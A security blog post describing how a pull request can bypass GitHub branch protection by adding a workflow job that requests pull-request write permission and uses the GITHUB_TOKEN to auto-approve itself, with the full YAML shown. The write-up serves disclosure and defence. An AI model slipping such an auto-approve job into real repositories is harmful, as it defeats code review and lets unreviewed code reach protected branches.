Bypassing GitHub Branch Protection
Using the power of GitHub Actions to circumvent protected branches.
Summary
In this post, I explore GitHub’s protected branches - a common security mechanism used to enforce code review processes. However, GitHub’s configuration options introduce nuances that can inadvertently create bypass opportunities. Specifically, some questionable security decisions in GitHub Actions (using workflow definitions from unprotected branches and allowing to control workflow permissions as part of the workflow definition) complicate the ability to fully enforce branch protection.
Background
Let’s start with a couple facts about GitHub Actions:
GitHub Actions workflow runs are automatically assigned a GitHub access token (
GITHUB_TOKEN
) that has access to the repository on which the workflow is executed.When GitHub Actions workflow is executed, the workflow definition is taken from the branch on which the workflow is executed.
Let’s explore these in a bit more detail. GitHub Actions workflows are executed on GitHub Actions runners (can be hosted by GitHub, or self hosted). GitHub-hosted runners start from a clean, consistent state with no retained data across executions. Workflows almost always need access to the source code in the repository, and hence need credentials to clone the repository. These credentials are automatically passed to the runner by GitHub Actions as a secret named GITHUB_TOKEN
. The default permissions for the GITHUB_TOKEN
(read-only or read-write) are set in the repository settings. Additional permissions can be granted to the workflows if needed. These additional permissions are defined in the workflow itself. See GitHub documentation for further reference.
GitHub Actions workflows are defined as YAML files and are stored in the repository under .github/workflows
. The workflow must exist on the default branch for GitHub to discover it. Workflows can be triggered by certain events in the repository (doc). The triggers are defined in the workflow, and events pass a git ref (as GITHUB_REF) to the workflow, depending on the event type. For example, push
events pass the branch to which a commit was pushed as the ref, and pull_request
events pass the “PR merge branch” of the pull request (PR). Most importantly, workflow definition is taken from the ref / commit for which the workflow was triggered!
The Bypass
Software engineering teams often use branch protection as quality and security mechanism. Typically, new code changes are configured to go through a review process. In GitHub, this is done through branch protection and pull requests. New code changes is committed to a new (non-protected) branch, and then a pull request is created that needs to be approved before it can be merged into a protected branch. Note: I am not considering pull requests from forks here, which have additional rules around them.
It is common to run tests on the PRs. Good examples here are linters, PR title checkers, and things like terraform validate
. Let’s consider an example of such workflow:
name: PR Lint
on: [pull_request]
jobs:
pr_lint:
runs-on: ubuntu-latest
steps:
- uses: vijaykramesh/pr-lint-action@v2.3
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
To bypass branch protection rules we now create a new PR that adds any code we’d like to the repository, and also modifies the workflow to the following:
name: PR Lint
on: [pull_request]
jobs:
pr_lint:
runs-on: ubuntu-latest
steps:
- uses: vijaykramesh/pr-lint-action@v2.3
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
auto-approve:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: write
steps:
- name: checkout
uses: actions/checkout@v4
- name: auto-approve
run: gh pr review "$PR_NUMBER" --approve --body "LGTM"
env:
GH_TOKEN: ${{ github.token }}
PR_NUMBER: ${{ github.event.pull_request.number }}
Here, we add a new job and request write permissions to pull requests for it. Then we add a step that uses GitHub CLI to approve the PR as part of the workflow execution. Note that GitHub CLI is not a strong dependency as the approval can be done in many other ways, see the Auto Approve action for example.
The result? The PR is automatically approved by “github-actions” bot and can be merged right away (this assumes only one approval is required):